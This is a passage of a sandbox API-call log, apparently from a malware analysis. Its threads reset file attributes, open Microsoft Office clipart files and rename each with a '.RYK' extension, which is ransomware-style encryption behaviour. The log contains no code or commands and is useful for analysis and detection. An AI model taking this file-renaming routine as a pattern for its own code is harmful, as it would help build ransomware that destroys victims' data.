	[0255.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3401
	os_tid = 0x3af0

	[0255.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF", dwFileAttributes=0x80) returned 0
	[0255.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.650] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3402
	os_tid = 0x3af4

	[0255.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF", dwFileAttributes=0x80) returned 0
	[0255.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.649] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3403
	os_tid = 0x3af8

	[0255.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID", dwFileAttributes=0x80) returned 0
	[0255.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.022] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3404
	os_tid = 0x3afc

	[0255.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID", dwFileAttributes=0x80) returned 0
	[0255.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.647] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3405
	os_tid = 0x3b00

	[0255.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF", dwFileAttributes=0x80) returned 0
	[0255.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.646] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3406
	os_tid = 0x3b04

	[0255.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF", dwFileAttributes=0x80) returned 0
	[0255.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.645] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3407
	os_tid = 0x3b08

	[0255.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF", dwFileAttributes=0x80) returned 0
	[0255.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.643] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3408
	os_tid = 0x3b0c

	[0255.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF", dwFileAttributes=0x80) returned 0
	[0255.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.642] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.642] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3409
	os_tid = 0x3b10

	[0255.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF", dwFileAttributes=0x80) returned 0
	[0255.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.030] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3410
	os_tid = 0x3b14

	[0255.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF", dwFileAttributes=0x80) returned 0
	[0255.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.032] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.032] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3411
	os_tid = 0x3b18

	[0255.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF", dwFileAttributes=0x80) returned 0
	[0255.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.034] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3412
	os_tid = 0x3b1c

	[0255.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF", dwFileAttributes=0x80) returned 0
	[0255.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.938] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3413
	os_tid = 0x3b20

	[0255.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF", dwFileAttributes=0x80) returned 0
	[0255.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.537] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3414
	os_tid = 0x3b24

	[0255.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF", dwFileAttributes=0x80) returned 0
	[0255.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.536] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3415
	os_tid = 0x3b28

	[0255.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF", dwFileAttributes=0x80) returned 0
	[0255.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.536] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3416
	os_tid = 0x3b2c

	[0255.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF", dwFileAttributes=0x80) returned 0
	[0255.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.535] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3417
	os_tid = 0x3b30

	[0255.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF", dwFileAttributes=0x80) returned 0
	[0255.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.535] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3418
	os_tid = 0x3b34

	[0255.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF", dwFileAttributes=0x80) returned 0
	[0255.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.637] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3419
	os_tid = 0x3b38

	[0255.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF", dwFileAttributes=0x80) returned 0
	[0255.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.534] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3420
	os_tid = 0x3b3c

	[0255.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF", dwFileAttributes=0x80) returned 0
	[0255.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.534] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3421
	os_tid = 0x3b40

	[0255.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF", dwFileAttributes=0x80) returned 0
	[0255.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.634] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.634] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3422
	os_tid = 0x3b44

	[0255.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF", dwFileAttributes=0x80) returned 0
	[0255.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.534] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3423
	os_tid = 0x3b48

	[0255.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF", dwFileAttributes=0x80) returned 0
	[0255.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0255.430] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0255.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3425
	os_tid = 0x3b5c

	[0255.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF", dwFileAttributes=0x80) returned 0
	[0255.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.438] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.438] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3426
	os_tid = 0x3b60

	[0255.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF", dwFileAttributes=0x80) returned 0
	[0255.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.533] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3427
	os_tid = 0x3b64

	[0255.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01300_.GIF", dwFileAttributes=0x80) returned 0
